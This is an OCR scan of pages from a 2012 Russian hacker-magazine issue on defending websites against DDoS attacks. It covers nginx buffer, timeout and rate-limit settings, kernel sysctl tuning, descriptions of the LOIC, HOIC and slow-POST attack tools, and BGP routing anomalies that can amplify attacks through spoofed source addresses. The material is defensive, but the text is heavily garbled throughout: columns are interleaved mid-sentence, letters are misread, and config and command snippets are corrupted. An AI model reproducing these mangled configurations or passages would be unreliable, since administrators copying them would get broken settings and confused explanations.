вателя 0SaveTheRЫz, который взял нейронную сеть
PyBгain, заnихал в нее лог и nроанализировал запро­ log_format xakep_log ' $renюte_addr - $renюte_user [$time_local]
сы lhabгahab г гu/post/1362371. Метод рабочий, хотя и ' "$request" $status $body_bytes_sent '
не универсальный :1. Но если вы действительно знае­ ' "$http_referer" "$http_user_agent" $request_time \
те внутренности своего сайта - а вы. как системный админ истратор, $upstream_response_time' ;
должны, - то у вас есть шансы, что в наиболее трагических ситуа­
циях такой инструментарий на основе нейронных сетей, обучения и Это соmЬinеd-формат с добавленными полями тайминга.
собранной заранее информации вам nоможет. В этом случае весьма

8
nолезно иметь access.log до начала DDoS'a, так как он оnисывает ОТСЛЕЖИВА ЙТЕ КОЛИЧЕСТВО


nрактически 100% легитимных клиентов, а следовательно, отличный ЗАПРОСОВ В СЕКУНДУ

'
dataset для тренировки нейронной сети. Тем более глазами в логе Также посмотрите на число запросов в секунду.
боты видны не всегда. В случае nginx вы можете nримерно оценить эту
величину следующей shеll-командой lпеременная
дCeESS_LOG содержит путь к журналу заnросов
ДИА Г Н ОСТ ИК А П РО&Л Е М Ы nginx в comblned-фopмaтel:
Сайт н е работает- nочему? Его DDoS'ят или зто ба г движка, не за­
меченный nрограммистом? Неважно. Не ищите ответа на этот воnрос. echo $ ( ( $(fgrep - с "$(env LC_ALL=C date - -date=@$ ( ( $(date \
Если вы считаете, что ваш сайт могут атаковать, обратитесь к компани­ +%s ) - 60 ) ) +%d/%b/%Y : %Н :%М)" "$ACCESS_LOG" ) /60) )
ям, nредоставляющим защиту от атак, - у ряда анти-ООоS-сервисов
nервые сутки nосле nодключения бесплатны - и не тратьте больше По сравнению с нормальным для этого времени дня уровнем
время на поиск симптомов. Сосредоточьтесь на nроблеме. Если сайт количество запросов в секунду может как nадать, так и расти. Растут
работает медленно или не открывается вообще, значит, у него что-то не они в случае, если nришел крупный ботн ет, а nадают, если пришед­
в nорядке с nроизводительностью. и - вне зависимости от того, идет ший ботнет обрушил сайт, сделав его полностью недоступным для
ли ООоS-атака или нет, - вы, как nрофессионал, обязаны nонять, чем легитимных nользователей, и при этом ботнет статику н е запраши­
зто вызвано. Мы неоднократно были свидетелями того, как комnания, вает, а легитимные пользователи запрашивают. Падение количества
исnытывающая сложности с работой своего сайта из-за DОоS-атаки, запросов наблюдается как раз за счет статики. Но, так или иначе, мы
вместо nоиска слабых мест в движке сайта nыталась направлять заяв­ ведем речь о серьезных изменениях показателей. Когда зто происхо­
ления в МВД, чтобы найти и наказать злоумышленников. Не доnускайте дит внезапно - пока вы пытаетесь решить проблему своими силами
таких ошибок. Поиск киберnрестуnников- это трудный и длительный и если не видите ее сразу в логе, лучше быстро проверьте движок и
процесс, осложненный самой структурой и nринциnами работы сети параллельно обратитесь к специалистам.
Интернет, а nроблему с работой сайта нужно решать оnеративно. За­
ставьте технических сnециалистов найти, в чем кроется nричина nаде­ НЕ ЗАБЫВАЙТЕ ПРО TCPDUMP


ния nроизводительности сайта, а заявление смогут написать юристы. Многие забывают, что tcpdump - зто обалденное
средство диагностики. Я приведу пару примеров.
ЮЗА ЙТЕ ПРОФАЙЛЕР И ОТЛАДЧИК В декабре 2011-го был обнаружен баг в ядре Liпux,


Для наиболее расnространенной nлатформы созда­ когда оно открывало ТеР-соединение при выстав­
ния веб-сайтов - РНР + MySQL- узкое место можно ленных флагах ТеР-сегмента SYN и RST. Первым
искать с nомощью следующих инструментов: багрепорт отправил именно системный администратор из России,
профайлерХdеЬug покажет, на какие вызовы при­ чей ресурс был атакован этим методом, - атакующие узнали об
ложениетратит больше всего времени; уязвимости раньше, чем весь мир. Ему, очевидно, такая диагно­
встроенный отладчикАРО и отладоч ный вывод в л а г ашибок nомогут стика помогла. Другой при мер: у nginx есть одно не очень nриятное
выяснить, какой именно код выnолняет эти вызовы; свойство - он пишет в лог только после полной отработки запроса.

026 ХАКЕР 11 /166/2012


Отбить DDoS

Бывают ситуации, когда сайт лежит, ничего не работает и в лог ах НАСТРАИВАЕМ ТАЙМ-АУТЫ В NGINX


ничего нет. Все потому, что все запросы, которые в данный момент Ресурсом является и время. Позтому следующим
загружают сервер, еще не выполнились. Tcpdump поможет и здесь. важным шагом должна стать установка всех тайм­
Он настолько хорош, что я советовал людям не использовать аутов, которые опять же очень важно аккуратно
бинарные протоколы до того. как они убедятся, что все в поряд­ прописать в настройках nginx.
ке, - ведь текстовые протоколы отлаживать tcpdump'oм легко, а reset_timedout_connection оп;
бинарные - нет. Однако сниффер хорош как средство диагности­ Помогает бороться с сокетами, зависшими
к и - в качестве средства поддержания pгoductioп'a он страшен. в фазе FIN-WAIТ.
Он легко может потерять сразу несколько па кетов и испортить вам client_header_timeout
историю пользователя. Смотреть его вывод удобно, и он пригодится Задаеттайм-аут при чтении заголовка запроса клиента.
для ручной диагностики и ба на, но старайтесь ничего критичного на client_body_timeout
нем не основывать. Другое любимое многими средство «погрепать Задаеттайм-аут при чтении тела запроса клиента.
запросы>> - пgгер - вообще по умолчанию пытается запросить в keepalive_timeout

ет уменьшать свои треб ования.


районе двух гигабайт несвопируемой памяти и только потом начина­ Задает тай м-аут, в течение которого keep-alive соединение с
клиентом не будет закрыто со стороны сервера. Многие боятся
задавать здесь крупные значения, но мы не уверены. что этот страх
АТАКА ИЛИ НЕТ? оправдан. Опционально можно выставить значение тайм-аута в


Как отличить ООоS-атаку, например, от эффекта НТТР-заголовке Keep-Aiive, но lnteгnet Ехрlогег знамениттем, что
рекламной кампании? Этот вопрос может по казаться игнорируетзтозначение
смешным, но эта тема не менее сложная. Бывают send_timeout
довольно курьезные случаи. У одних хороших ребят, Задает тайм-аут n р и nередаче ответа клиенту. Если no истечении
когда они напряглись и основательно прикрутили этого времени клиент ничего не nримет, соединение будет закрыто.
кеширование, сайт слег на пару дней. Выяснилось, что в течение
нескольких месяцев этот сайт незаметно датамайнили какие-то Сразу воnрос: какие nараметры буферов и тайм-аутов nравиль­
немцы и до оптимизации кеширования страницы сайта у этих ные? Универсального рецеnта тут нет, в каждой ситуации они свои.
немцев со всеми картинками груэились довольно долго. Когда Но есть проверенный nодход. Нужно выставить минимальные
страница начала выдаваться из кеша моме нтально, бот, у которого значения, nри которых сайт остается в работоспособном состоянии
не было никаких тайм-аутов, тоже начал собирать их моментально. lв мирное время!. то есть страницы отдаются и запросы обрабаты­
Тяжело пришлось. Случай особенно сложный по той причине. что ваются. Это оnределяется только тестированием - как с десктопов,
если вы сами изменили настройку !включили кешированиеl и сайт так и с мобильных устройств. Алгоритм поиска значений каждого
после этого перестал работать. то кто, по вашему и начальственному параметра (размера буфера или тайм-аута!:
мнению, виноват? Вот-вот. Если вы наблюдаете резкий рост числа 1. Выставляем математически минимальное значение параметра.
запросов, то посмотрите, например, в Google Analytics, кто nриходил 2. Запускаем прогон тестов сайта.
на какие страницы. 3. Если весь функционал сайта работает без проблем - nараметр
оnределен. Если нет-увеличиваем значение параметра и nере­
ходим к п. 2.
Т ЮНИНГ ВЕ&- С ЕРВЕРА 4. Еслизначение nараметрапревысило даже значение nоумолча­
Какие еще есть ключевые моменты? Конечно, вы можете поставить нию- зто nоводдля обсуждения в команде разработчиков.
«умолчальный>> nginx и надеяться, что у вас все будет хорошо. Однако
хорошо всегда не бывает. Поэтому администратор любого сервера В ряде случаев ревизия данных параметров должна п р и водить
должен посвятить немало времени тонкой настройке и тюнингу ngiпx. к рефакторингу/редиэайну сайта. Например, если сайт не работает
без трехминутных AJAX long polling запросов, то нужно не тайм­
ЛИМИТИРУЕМ РЕСУРСЫ аут повышать, а long polling заменять на что-то другое - ботнет в


(РАЗМЕРЫ БУФЕРОВ! В NGINX 20 тысяч машин, висящий на запросах no три минуты. легко убьет
Про что нужно помнить в первую очередь? Каждый среднестатистический дешевый сервер.
ресурс имеет ли мит. Прежде всего это касается опе­
ративной памяти. Поэтому размеры заголовков и всех ЛИМИТИРУЕМ СОЕДИНИ Я В NGINX


используемых буферов нужно ограничить адекватны­ (LIMIT_CONN И LIMIT_REQJ
ми значениями на клиента и на сервер целиком. Их обязательно нужно В nginx также есть возможность лимитировать со­
прописать в конфиге nginx. единения, запросы и так далее. Если вы не уверены
client_headeг_buffer_si ze в том, как поведет себя определенная часть вашего
Задает размер буфера для чтения заголовка запроса клиента. сайта, то в идеале вам нужно протестировать ее,
Если строка запроса или поле заголовка запроса не помещаются понять, сколько заnросов она выдержит, и прописать это в конфи­
nолностью в этот буфер, то выделяются буферы большего размера, гурации nginx. Одно дело, когда сайт лежит и вы сnособны прийти и
задаваемые директивой la гge_client_headeг_buffeгs. поднять его. И совсем другое дело - когда он лег до такой степени,
large_client_headeг_buffers что сервер ушел в swap. В этом случае зачастую nроще перезагру­
Задает максимальное число и размер буферов для чтения большого эиться, чем дождаться его триумфального возвращения.
заголовка запроса клиента. Предположим, что на сайте есть разделы с говорящими названи-
client_body_buffer_size я м и /download и /seaгch. При этом мы:
Задает размер буфера для чтения тела запроса клиента. Если тело н е хотим, чтобы боты (или люди с чересчур ретивыми рекурсивны­
запроса больше заданного буфера, то все тело запроса или только ми dоwnlоаd-менеджерамиl забили нам таблицу ТСР-соединений
его часть записывается во временный файл. своими за качками;
client_max_body_size не хотим, чтобы боты (или залетные краулеры поисковых систем!
Зад;эет максимально допустимый размер тела запроса клиента. ука­ исчерпали вычислительные ресурсы СУБД множеством поисковых
зываемый в поле <<Content-Length>> заголовка запроса. Если размер запросов.
больше заданного, то клиенту возвращается ошибка 413 1Request
Entity Тоо Laгgel. Для этих целей сгодится конфигурация следующего вида:

ХАКЕР 1 1 /166/2012 027


COVERSTORY

http { не только IP, но и любая другая переменная nginx, доступная в


данном контексте, - например, в случае, когда вы не хотите
limit_conn_zone $binary_remote_a_dqr-�oлe=do!lln�.\!a.Q_� ;.l!il.m__;_ обеспечить более щадящий режим для прокси, можно исnользо­
limit_req_zone $binary_remote_addr ц>ne=search_r:·10m \ вать $Ьiпaгy_гemote_addг$http_useг_ageпt или $Ьiпагу_геmоtе_
rate=lr/s; addг$http_cookie_myc00kiez - но исnользовать такие конструк­
ции нужно с осторожностью, поскольку, в отличие от 32-битного
server { $Ьinaгy_гemote_addг, эти переменные могут быть существенно
location /download/ { большей длины и декларированные вами <<10m>> могут скоропо­
limit_conn download_c 1 ; стижно закончиться.
# Прочая конфи гурация location

гото в и м ос
location /search/ { Помимо тонкой настройки пginx, нужно позаботиться о настрой­

ч
limit_req ,zone=search_r burst=S; ках сетевого стека системы. П о меньшей мере - сразу включить
# Про а я конфи гурация location net.ipv4.tcp_syпcookies в sysctl, чтобы разом защитить себя от
атаки SYN-flood небольшого размера.

ТЮНИМ ЯДРО


Обратите внимание на более nродвинутые н а ·
стройки сетевой части !ядра\ оnять же п о тайм­
Обычно имеет nрямой смысл установить ограничения limit_ аутам и памяти. Есть более важные и менее важ­
conn и limit_гeq для locations, в которых находятся дорогостоящие ные. В первую очередь надо обратить внимание на:
к в ы n о л н е н и ю с криnты lв nр и ме ре указан nоиск, и зто несnроста\. net.ipv4.tcp_fin_timeout
Ограничения необходимо выбирать, руководствуясь результатами Время, которое сокет п р о ведет в ТСР-фазе F I N -WАIТ-2 1ожидание
нагрузочного и регрессионного тестирования, а также здравым FI N/АСК-сегмента\.
смыслом. net.ipv4.tcp_{,г,w}mem
Обратите внимание на nараметр 1 0 m в n р и мере. Он означает, Размер приемнаго буфера со кетов ТСР. Три значения: минимум,
что на расчет данного лимита будет выделен словарь с буфером значение поумолчанию и максимум.
в 10 мегабайт и ни мегабайтом более. В данной конфигурации net.core.{r,w}mem_max
зто nозволит отслеживать 320 000 ТСР-сессий. Для оnтимизации То же с а м о е для не ТСР буферов.
занимаемой nамяти в качестве ключа в словаре исnользуется
nеременная $Ьinaгy_гemote_addг, которая содержит IР-адрес При канале в 100 М бит/с значения по умолчанию еще как-то
nользователя в бинарном виде и занимает меньше nамяти, чем годятся; но если у вас в наличии хотя бы гигабит в секунду, то
обычная строковая nеременная $гemote_addг. Нужно заметить, лучше использовать что-то вроде:
что вторым nараметром к директиве limit_гeq_zone может быть
sysctl -w net . core. rmem_max=8388608
sysctl -w net . core. wmem_max=8388608
sysctl -w net. ipv4.tcp_rmem= ' 4096 87380 8388608'
sysctl -w net . ipv4 . tcp_wmem= ' 4096 65536 8388608'
ТРЕН ДЫ В DDOS sysctl -w net . ipv4. tc p_nn_timeout=10

Подробнее об установке параметров сетевого стека при нали­


1. Непрерывно растет мощность атак сетевого и трансnортного чии широкого канала можно прочитать здесь: http-//b i t ly/8UOSOa.
уровня. Потенциал среднестатистической атакитипа SУN­
флуд достигуже 10 миллионов па кетов в секунду. РЕВИЗИЯ /PROC/SYS/NET/..

• 1
2. Особым спросом в последнее время пользуются атаки н а Идеально изучить все параметры /pгoc/sys/
DNS. U DР-флуд валидными DNS-зanpocaми с о sрооf'ленными пetf••. Надо посмотреть, н а с колько о н и отли­
IР-адресами источника -зто одна из наиболее простых в . чаются от дефолтных, и nонять, насколько они
реализации и сложных в плане противодействия атак. Многие адекватно выставлены. Liпuх-разработчик ! и л и
крупные российские компании lвтом числехостинги\испы­ системный админ истратор\, разбирающийся в
тывали в последнее время проблемы в результате атак на их работе подвластного ему интернет-сервиса и желающий его
DNS-cepвepы. Чем дальше, тем таких атак будет больше, а их оптимизи ровать, должен с интересом прочитать документацию
мощность будет расти. всех параметров сетевого стека ядра. Возможно, он найдет там
3. Судя п о внешним признакам, большинство ботнетов управ­ специфические для своего сайта переменные, которые п о м о г у т
ляется не централизованно, а посредством пирингоной сети. не т о л ь к о защитить сайт от злоумышленников, н о и ускорить его
Это дает злоумышленникам возможность синхронизировать работу.

il!ild.ИII51Иd
действия ботнета во време н и - если раньше уnравляющие
команды распространялись по ботнету в 5 тысяч машин за
десятки м и н ут, то теперь счет идет на секунды, а ваш сайт Успешные ООоS-атаки изо дня в день гасят e-commeгce, со­
может неожиданно испытать мгновенный стократный рост трясают СМИ, с одного удара отправляют в нокаут крупнейшие
числа зап росов. платежные системы. Миллионы интернет-пользователей теряют
4 . Доля бот о в, оснащенных полноценным браузерным движком доступ к критичной информации. Угроза насущна, nозтому нужно
с JavaScгipt, все еще невелика, но непрерывно растет. Такую встречать ее во всеоружии. Выполните домашнюю работу, не
. атаку сложнее отбить встроенными подручными средствами, бойтесь и держите голову холодной. Вы не первый и не послед­
позтому Самоделкины должны с опасением следить за этим ний, кто столкнется с DDоS-атакой на свой сайт, и в ваших силах,
трендом. руководствуясь своими знаниями и здравым смыслом, свести
последствия атаки к м и н и муму. ::J:

028 ХАКЕР 11 /166/2012


НАЖМИ НА КНОПКУ ­ LOICUDP HOIC
ПОЛУЧИШЬ РЕ ЗУЛ ЬТАТ Поговорим про стандартный LOIC UDP. Ничего Есть еще относительно новый инструмента­
В центре нашего внимания оказался инстру­ особенного. Утилита шлет UОР-nакеты длиной рий HOIC IHigh ОгЬit lon Cannonl с забавными
мент с замечательным названием Low OгЬital 48 байт на НТТР-порт. Какие проблемы за­ апгрейдами. Атаки в этом инструменте можно
lon Саппоn ILOICI и различные его nроизво­ щититься от этого? Что вообще должен делать скриптовать. можно добавлять список юзер­
дные. Простая как две коnейки утилита. до­ UDP-naкeт на вашем www-cepвepe? Стройте агентов и рефереров, которые будет простав­
стуnная массам и сnособная генерить трафик ассеss-листы. Другая вариация: LOIC ТСР от­ лять nушка, чтобы сбить защищающую сторону
и нагрузку на заданный сайт. Но главное, что крывает честное теР-соединение и засыnает с толку и не дать построить стратегию по
nоявилось у атакующих, - возможность рас­ его нерелевантным мусором. Какие проблемы паттерна м. Пользователю даже предлагается
nространять готовое к уnотреблению средство с этим могут быть? Оnять же никаких: бюд­ сделать список URL, которые затем пушка вы­
для участия в атаке, ссылку на которое можно жетируйте ресурсы, ограничивайте размеры берет случайным образом. Впрочем. отбиться
nредложить всем сочувствующим nеред нача­ данных и буферов. Веб-серверы nginx, Vaгnish все равно не так сложно.
лом DDoS в социальных сетях, чатах, имид­ все это умеют.
жбардах и других каналах связи. От участни­ ПОЧЕМУ З ЛОБОДН ЕВНО ?
ков nотребуется минимальная настройка nод LOICHПP Итак. что стоит за так называемым соци­
себя - и можно объявлять начало. Следующий вариа нт, самый классичес кий, ­ альным DDoS? LOIC 1 HOIC 1 JS LOIC / OWA /
LOIC НТТР. А тут вообще нечего ловить. SLOWPOST - технически нового тут ничего
ЧТО ЖЕ ПРОИСХОДИТ В НУТРИ ? Принцип у него простой: GET '/' так быстро, нет. Обычный коммерческий DDoS, на самом
Стоит отметить, что LOIC - не единственный как мы только сможем, да еще и заголовки деле, гораздо лучше скоординирован, тех­
инструмент «бунтарей без nричин ы>> и исnоль­ невалидные. С точки зрения защить� такие за­ нически более совершенен. Имеем четкий
зуется не одна его вариация. Кратко рассмо­ просы до вашего бэкенда доходить в nринципе и уверенный тренд к движению в сторону
трим весь арсенал. не должны, если ваше nриложение nравильно full Ьгоwsег stack: наличие Flash'a, умения
построено. nонимать cookie, редиректы, JavaScгipt. На за­
JSLOIC раженной машине запускается реальный брау­
JS LOIC атакует случайными НТТР-заnросами. SLOWPOST зер. который начинает делать реальные запро­
Тут есть сигнатура: стоит неверный геfегег того Вот еще такой интересный инструментарий сы! Но при зто м про них nочему-то молчат. Все
сайта, откуда программа запускалась, и URI, Aпonymous - OWASP/SLOWPOST. Открываем говорят про LOIC. А все nотому, что появился
сформированный совершенно неестествен н ы м соединение и шлем данные с задержкой так самый важный фактор - социальность.
д л я любого веб-ресурса образом. М ы видим долго, как только можно, чтобы занять ресурсы Почему же это работает на техническом
внутренний LОIСовс�ий номер запроса и от­ воркера на стороне сервера. Атака старая ­ уровне? А все потому, что имеем ужасающий
правленное протестующим сообщение. Чего ничего нового здесь нет. Почитайте, как нужно дизайн веб-приложений, в том числе правитель­
стоит это отфильтровать? Да ничего. Тут даже писать ТСР-приложения, например здес� ственных структур, плюс плохой дизайн инфра­
поведенческий анализ не нужен. Ьit.ly/tcomanual. структуры. Заметьте, Anonymous не атаковали

030 ХАКЕР 1 1 /166/2012


Социальный DDoS

получите кучу ложных срабатываний (так


называемых False Positives). Атака отчасти
достигнет своей цели, заблокировав суще­
ственную долю легитимных пользователей.

ВРЕДНЫЙ СОВЕТ N2 2: Клевое решение­


если пушка выставляет порядок заголовков,
нехарактерный для браузе ров, давайте
делать fingeгpгinting.
Правда: Тоже, в общем-то, абсолютно бес­
полезная штука. Оре га Mini ставит заголовки
совершенно сумасшедшим образом. Полу­
чите кучу False Positives.

ВРЕДНЫЙ СОВЕТ N!! З: Пушка ставит нехарак­


терные двойные пробелы передзаголовка­
ми -давайте фильтровать по этому признаку.
Правда: При помощи скриптое этот паттерн
атакующие могут легко и просто обойти. Это
н е должно вызвать никакихпроблем.

ВРЕДНЫ Й СОВЕТ N2 4: Поставить mod_


secuгity для Арасhе - что ж, удобно, судя по
названию -безопасность гарантирована.
Правда: Если вы пользуетесь Apache, пере­
станьте это делать, в 2012 году у вас нет на
это н и однойпричины. Эта штука сломанана
архитектурном уровне, полностью починить
ее невозможно.

ВРЕДНЫЙ СОВЕТ N2 5: А давайте напишем


скрипты для Snoгt'a и будем ездить геgехр'ом
по телу па кета?
Правда: д вы посчитайте: во сколько вам
Facebook. Потому что без шансов (по крайней соучастники, которые ответили на этот призыв обойдется скопироватьданные па кета в
мере в плане OOoS). Хорошо построились ребята, и вышли заявить свои протест. Профессиона­ useгland и пропустить через геgехр? Задача,
молодцы. Google тоже атаковать бессмысленно, лы организуют, вооружают и наносят основной конечно, достойная для суперкомп ьютеров
правильно выстроились, Яндекс, наверное, мож­ урон, соучастники создают фоновую нагрузку и класса «Ломоносов>>, но на вашем фронтенде
но, но nридется приложить титанические усилия. численную безопасность. делать этого не рекомендую категорически.
Появилось еще такое свойство, как
массовость. Вот представьте, вышли на про­ ВРЕДНЫЕ СОВЕТ Ы ПОЛЕ З НЫ Й СОВЕТ
тесты сто тысяч человек, а некоторым было В Сети можно найти немало советов, как такую Необходимо и достаточно устроить серию те­
лень, а другие были в регионах. А сколько атаку погасить. Одна проблема - советы, как стов на соответствие возможностей клиента с
миллионов может откликнуться на призыв пра вило, вредные. возможностями браузера: редиректы, печень­
Anonymous? д теnерь умножьте эти миллионы ВРЕДНЫЙ СОВЕТ N21: Фильтроватьзапросы ки, я ва-скрипт, плагины. Эльдар Заитое (Eidaг
на скорость аплинка ОSL-модема. Круглые по паттерну <<НТТР/1 .0 + заголовок Host>>. Zaitov) написал соответствующий модуль для
цифры получаются. Все-таки может быть Если они совпадают, с клиентом что-то не nginx. Как это использовать и еще 15 полезных
опасно. Есть еще фактор Х. Он состоит в том, так, поскольку в НТТР/1 .0 не было имплемен­ рецептов ты можешь прочитать в cookbook'e на
что Anonymous - это несднородная структура тировано заголовка Host. страницах рядом.
с четким разделением: люди-профессионалы Правда: На самом деле - везде и рядом мы
(те самые, которые сломали инфраструктуру это наблюдаем. Прокси такие вещи умеют ПО ДВЕДЕМ ИТОГИ
Sony и увели у них переанальные данные) и и любят делать. Поставите это правило и Социальный протестде-факто обрел новую
форму - электронную. Тренд на повышение
четко виден. Скорость распространения или
нераспространения информации определяет
то, как мы живем. А OOoS является действен­
ВОПРОС ИЗ ЗАЛА: A N O NYMOUS VS. КО РНЕВЫЕ DNS? ным способом ее блокировки. Еще один важ­
ный вывод. Любая ООоS-атака имеет радиус
«осколочного поражения» и может оказывать
В марте группа Anonymous собиралась обрушить все корневые DNS-cepвepы. Реально л и это сделать? негативное воздействие на целые сегменты
Конечно же, нет! Корневые ОNS-серверы живут в режиме BGP-anycast, точно так же, как и наша система Сети. Anonymous, глупо рубить сук, на котором
фильтрации Qгаtог. По сути, это несколько не связанных между собой серверов, анонсирующих вовне сидишь! Интернет вас вырастил - и вы же
один и тот же nрефикс. Даже если удастся забить один из каналов одного из серверов, трафик за счет его и укапываете. Мне непонятно, почему о н и
BGP сразу же перераспределится на оставшиеся. Даже если бы Anonymous смогли атаковать ну один­ nротестуют, а у меня торренты и «ВКонтак­
два из этих серверов, остальные бы этого не заметили благодаря тому, что весь трафик от автономной те» плохо открываются :). Нехорошо. Право
системы-источника, с которой велась бы атака, приходил бы всегда на один и тот же сервер. п ротеста - это замечательно, главное, чтобы
мирных граждан не трогали. :Х:

ХАКЕР 1 1 /166/2012 031


----

Александр Аэммов, ведущий инженер no эксnлуатации сети филырации трафика Огаtог


,

2�GI
на мал и и :
- л иже, ч е м
Dll В

используется ргер�н(роl i су, основанная на вставке нескольких


Для деприоритизации1J ршрута н � ждоменном сетевом уровне

номеров АС п� рЯд:
ВЛИЯ НИЕ СЕТ
� ,,
АНОМАЛИЙ AS РАТН

НА ДОСТУП НОСТ Ь Начальное значение 222 333 444


Последеприоритизации 222 333 333 333 444
СЕТЕВЫХ РЕСУР«;О� -
маршрута

В зто м примере АС333 деприоритизирует маршрут, отсылаемый


АС222. С использованием атрибута AS_PATH в BGP реализова-
l:lфl!liЩ!i
ООоS-атака в 40 Гбит/с? Редкий ботнет способен сгенерировать та­
на защита от циклов маршрутизации: если АС получает анонс,
в AS_PATH которого входит номер данной АС, то зтот анонс сбра­
кой объем трафика. Однако мощность атаки может быть увеличена сывается. Это позволяет исключить теоретическую возможность
в десятки раз за счет сетевых аномалий. И при таком раскладе по­ возникновения статических циклов маршрутизации на уровне АС.
добные цифры уже не кажутся фантастикой. Сегодня мы попробуем В протоколе BGP была также заложена возможность отражения
разобрать несколько примеров сетевых аномалий и рассмотрим их экономических отношений между АС. Данная функциональность
влияние на доступность конечных ресурсов. реализуется с использованием атрибута LOCAL_PREF, который

rDI
позволяет явно указывать п риоритетный канал, вне зависимости
от значений атрибута AS_APATH. Процесс маршрутизации BGP
Начнем с вводной для тех, кто незнаком с проблема ми сетевых в чем-то похож на размахивание флагом: АС сообщает, что имеет
аномалий и вопросами междоменной маршрутизации. Главными маршрут к заданной сети, то есть она анонсирует зту сеть во внеш­
действующими лицами на междоменном сетевом уровне являются ний мир. Рис. 1 описывает пример того, как зто происходит.
автономные системы !АС) - системы IР-сетей и маршрутизаторов, Здесь многоинтерфейсная АС222 имеет префикс, который она
управляемых одним или несколькими операторами, имеющими анонс ирует своим поставщикам услуг !которые тоже являются АС).
единую политику маршрутизации с интернетом. АС - зто прежде Далее уже поставщики услуг АС222 будут анонсировать заданную
всего административная единица. Она должна быть зарегистри­ сеть своим соседям и так далее. Информацию о маршрутах к внеш­
рована в одном из региональных интернет-регистраторов, и ей ним сетям АС222 получает от своих соседей. Однако зачастую АС
должен быть присвоен номер АС !в Европе интернет-регистратор ­ столько информации не нужно, и тогда она может использовать
RIPE). Существует три основных типа АС: default гoute, то есть при отсутствии маршрута в таблице маршру­
многоинтерфейсная !имеет два или более поставщика услуг, тизации пакет отправлять в заданную соседнюю АС.
которые к ней подключены);
• транзитная !то же самое, но также пропускает через себя чужой
трафик);
ограниченная !имеет всего один контакт с внешним миром, на ы выделили три основных класса сетевых аномалий:
самом деле таких АС быть не должно, но они есть). 11 ошибки в настройке маршрутизаторов;
2) циклы маршрутизации BGP;
Между АС действует де-фа кта стандартны й п р отокол внешней 3) проблемы на уровне среды передачи данных IСПД).
м-аршрутизации ВGР. ' Это дистанционно-векторный протокол,
то есть выбор марш рута определяется метрикой пути !в данном Далее будут рассмотрены первые два класса. Начнем с наи­
случае зто количество АС. через которые должен пройти пакет). более частой сетевой ошибки, возникающей при настройке
Последовательность номеров АС хранится в атрибуте AS_PATH. default гoute. Ошибка возникает в случае, если, с одной стороны,

032 ХАКЕР 11 /166/ 2012


Сетевые аномалии: ближе, ч е м кажется

анонсируется префикс без его установки на lоорЬасk-интерфейсе


и одновременно с этим на том же канале настроен default гoute.
Что получается в результате? Если мы отправим па кет на любой
не используемый IР-адрес из зтого префикса, то о н попадет в
цикл на стыке АС и АС-поставщика. Пакет будет оставаться в
зто м цикле, пока не истечет значение TTL. Чем это плохо? Такая
настройка делает сеть уязвимой к атаке на исчерпание канала.
И даже если канал н е будет исчерпан, АС все равно придет-
с я отду ваться за увеличенный объем трафика. Наша система
мониторинга обнаружила более 14 тысяч уязвимых префиксов.
Второй ошибкой в настройке маршрутизаторов являются непо­
средственно усилители DDoS-aтaк. Один из вариантов усили­
теля выглядит следующим образом: вы отправляете один echo Все сети
гequest, в народе извес,;гный п о утилите piпg, и nолучаете на него интернета
десяток echo герlу. Атакующему достаточно nроставить в souгce
IР-адреса атакуемой сети для nолучения усиления DDоS-атаки в Рмс. 1
десять раз. Более того, в результате атакованными оказываются
несколько АС: 1 . Вне зависимости от АС-источника, транзитные АС могут об­
11 АС, в которой находится уязвимость; разовать цикл n р иоритетое по атрибуту LOCAL_PREF. То есть
21 АС, чье адресное пространство исnользуется для атаки; каждая из этих сетей указывает на соседнюю АС, что там трафик
31 транзитные АС, которые через себя весь этот мусор и проnуска ют. выгоднее. В итоге если анонс nоnадет в это кольцо, то nроцесс
распространения маршрута BGP ни когда не законч ится. Нач­
Здесь нужно сделать два замечания. Во-первых, это не теория, нется гонка ВGР-сообщений, при которой конкурирующие анон­
такой вид атаки был уже несколько раз детектирован сетью сы не смогут догнать один другого, nериодически выстраиваясь
фильтрации трафика Qгаtог. Во-вторых, в случае защиты от DDoS­ в nолностью построенный цикл, откуда пакеты уже не могут
aтaк на операторском уровне данный вид уязвимости nозволяет выйти. Время жизни этого цикла обычно кратно ЗО секундам.
nроводить атаки в обход защищаемого nериметра. Это связано с Но главная nроблема в том, что этот цикл воссоздается - после
тем, что фильтрующее оборудование обычно стоит на стыках с АС­ разрушения цикла снова повторяется гонка анонсов, которая
поставщиками, а данная сетевая уязвимость позволяет добиться заканчи вается возникновением новогоцикла. И та к nо круг�
эффекта, когда клиентские сети атакуют друг друга. Мы обнаружи­ 2. Удаление анонса префикса у одного из АС-поставщиков тоже
ли более 7 0 0 префиксов с этой уязвимостью. может привести к возникновению циклов на стыках АС, оnять
же из-за default гoute. Время жизни данной сетевой аномалии
будет прямо пропорционально длине nоследовательности АС
с отношениями «Поставщик-n окупатель>> !обычно именно
лось, клиенты жаловались, что ресурсы сети частично недо­ в таких случаях устанавливается default гoutel.
стуnны, трафик между nлощадками странно м игает nри nолностью 3. Рассмотренный механизм управления ВGР-анонсами pгepend
«холодном>> оборудовании, а у наших сервис-провайдеров nроблем роliсутакже можетстать nричиной возникновения цикла. Данный
nри этом не было. Так мы узнали, что динамические циклы марш­ эффект возникает из-за того, что маршрутная информация рас­
рутизации BGP существуют не только в теории. nростра няется не сразуи не обязательно по оптимальным путям,
За последние nолтора месяца нашей системой мониторинга а согласно политике маршрутизации, отчего опять же возможно
было обнаружено более 2 тысяч циклов маршрутизации. Причина nоявление относительно стабильного кольца маршрутизации.
циклов маршрутизации BGP может варьироваться, но их резуль­
тат аналогичен DоS-атаке: целевая сеть становится частично или СТАТ ИСТИКА : П РАВ ЛИ КАЛЕНДАРЬ МА Й Я ?
nолностью недостуnна для части интернета. Дополнительно циклы Поговорим немного о статистике. В таблице на рис. 2 перечис­
создают ощутимый шум ВGР-сообщений, что осложняет работу всей лены крупнейшие АС, в которых были обнаружены проблемы.
сети ВGР-маршрутизации. И главное: данную сетевую нестабиль­ В этот список поnали несколько Тiег-1 АС, которые являются,
ность невозможно обнаружить со стороны АС-источника маршрута. по сути, «сердцем>> интернета. Существует более четырех тысяч
Как возникают динамические циклы BGP? По сути, они воз­ АС, не вошедших в эту таблицу, что соответствует 10% всех АС
никают в трех случаях. в мире. Однако аномалии зачастую могут оказывать опосредо-

АС174
AS174 AS3356 AS7018 AS6939 AS701

Увеличение плеча DDoS в 17 раз


AS3549 AS209 AS4323 AS1239 AS12389

Default route: 25 уязвимых префиксов


AS2848 AS3257 AS6461 AS2914 AS8468

AS23148 AS8447 AS20485 AS6830 AS8220
